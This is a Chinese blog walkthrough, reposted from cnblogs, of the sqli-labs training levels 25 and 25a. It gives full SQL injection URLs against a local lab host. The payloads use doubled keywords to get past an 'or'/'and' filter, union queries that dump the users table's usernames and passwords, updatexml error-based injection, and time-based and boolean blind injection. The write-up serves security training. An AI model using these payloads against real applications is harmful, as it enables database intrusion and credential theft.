码迷,mamicode.com
首页 > 数据库 > 详细

sqli lab 25 25a

时间:2020-01-28 23:01:33      阅读:79      评论:0      收藏:0      [点我收藏+]

标签:过滤   concat   span   order   图片   消失   测试   等于   方式   

Waf绕过可大致分为三类:  1.白盒绕过
                                             2. 黑盒绕过
                                             3. fuzz测试

 

less  25  法一 union 双写绕过过滤

http://192.168.50.100/sqli/Less-25/?id=1

技术图片

 

 

 http://192.168.50.100/sqli/Less-25/?id=1‘

技术图片

 

http://192.168.50.100/sqli/Less-25/?id=1‘ -- +  闭合 返回正常

提示语句技术图片

使用order by 2-- 猜列数

技术图片

 

 

 查看源码  发现 or和and  都被替换成了空

技术图片

 

采用双写得方式 进行绕过~

http://192.168.50.100/sqli/Less-25/?id=1‘  Oorrder by 2  -- +

技术图片

 

 

 http://192.168.50.100/sqli/Less-25/?id=-1‘ union select 1,2,3--+   判断回显位置


http://192.168.50.100/sqli/Less-25/?id=-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

infoorrmation   双写 绕过
http://192.168.50.100/sqli/Less-25/?id=-1 ’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
http://192.168.50.100/sqli/Less-25/?id=-1 ‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

 

 less25 法二 

or->|| 基于报错的注入

http://192.168.50.100/sqli/Less-25/?id=-1‘ ||  ‘1‘=‘1

技术图片

 

 

 

 

使用报错注入   

http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 爆出当前数据库

技术图片

 

 

 


http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

技术图片

 

 

 

 

遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整


less25a

技术图片

 

此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

技术图片

 

 

 

 

 

http://192.168.50.100/sqli/Less-25a/?id=1  OoRrder by 3 --+技术图片

 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3 --+    判断回显位置       id= 1 和 id= -1 得区别如下

技术图片

 

 

 

 技术图片

 

 

 

 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时:
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

25a  还有其他得方法

 

当我们使用基于时间的布尔盲注:
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 可以通过这个判断当前数据库长度
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+ 判断当前数据库的组成
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+ 通过这个判断所有的数据库
依次再进行下去。。。


当我们使用布尔盲注的时候:
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr length(database())>1--+ 此时页面返回正常,则得知当前的数据库长度是大于1的
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+ 此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。
依次再进行下去。。。

 

 

 

通过观察,25关   ‘’   包裹,25a没有任何包裹,并且也是转义or和and

 

 

 

 

 

 

技术图片

 

sqli lab 25 25a

标签:过滤   concat   span   order   图片   消失   测试   等于   方式   

原文地址:https://www.cnblogs.com/xingyuner/p/12238982.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!